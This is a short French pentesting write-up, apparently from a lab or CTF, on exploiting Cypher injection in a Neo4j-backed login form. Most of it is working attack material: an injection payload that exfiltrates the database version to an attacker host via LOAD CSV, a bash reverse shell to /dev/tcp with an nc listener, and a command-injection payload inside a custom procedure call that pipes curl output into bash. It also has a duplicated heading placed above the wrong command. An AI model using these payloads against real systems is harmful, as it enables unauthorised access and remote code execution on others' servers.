Cypher Neo4j Injection - Pentesting Web

Injection Neo4j Cypher

Un formulaire de login est vulnérable. Une erreur s’affiche lorsqu’on entre '.

On injecte un payload Cypher pour récupérer la version de Neo4j :

{

  "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS version LOAD CSV FROM 'http://10.10.14.90/?v=' + version AS l RETURN 0 AS _0 //",

  "password": "test"

}

Sur notre serveur, on reçoit la requête :

python3 -m http.server 80
# --> 5.24.1

RCE via appel à custom.getUrlStatusCode()

On place un reverse shell dans index.html :

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.80/443 0>&1

On place un reverse shell dans index.html :

nc -nlvp 443

Utilisez l'injection conjointe pour appeler ce custom.getUrlStatusCode

{

  "username": "admin' return h.value AS value  UNION CALL custom.getUrlStatusCode(\"127.0.0.1;curl 10.10.14.90/index.html | bash;\") YIELD statusCode AS value  RETURN value ; //",
  "password": "test"

}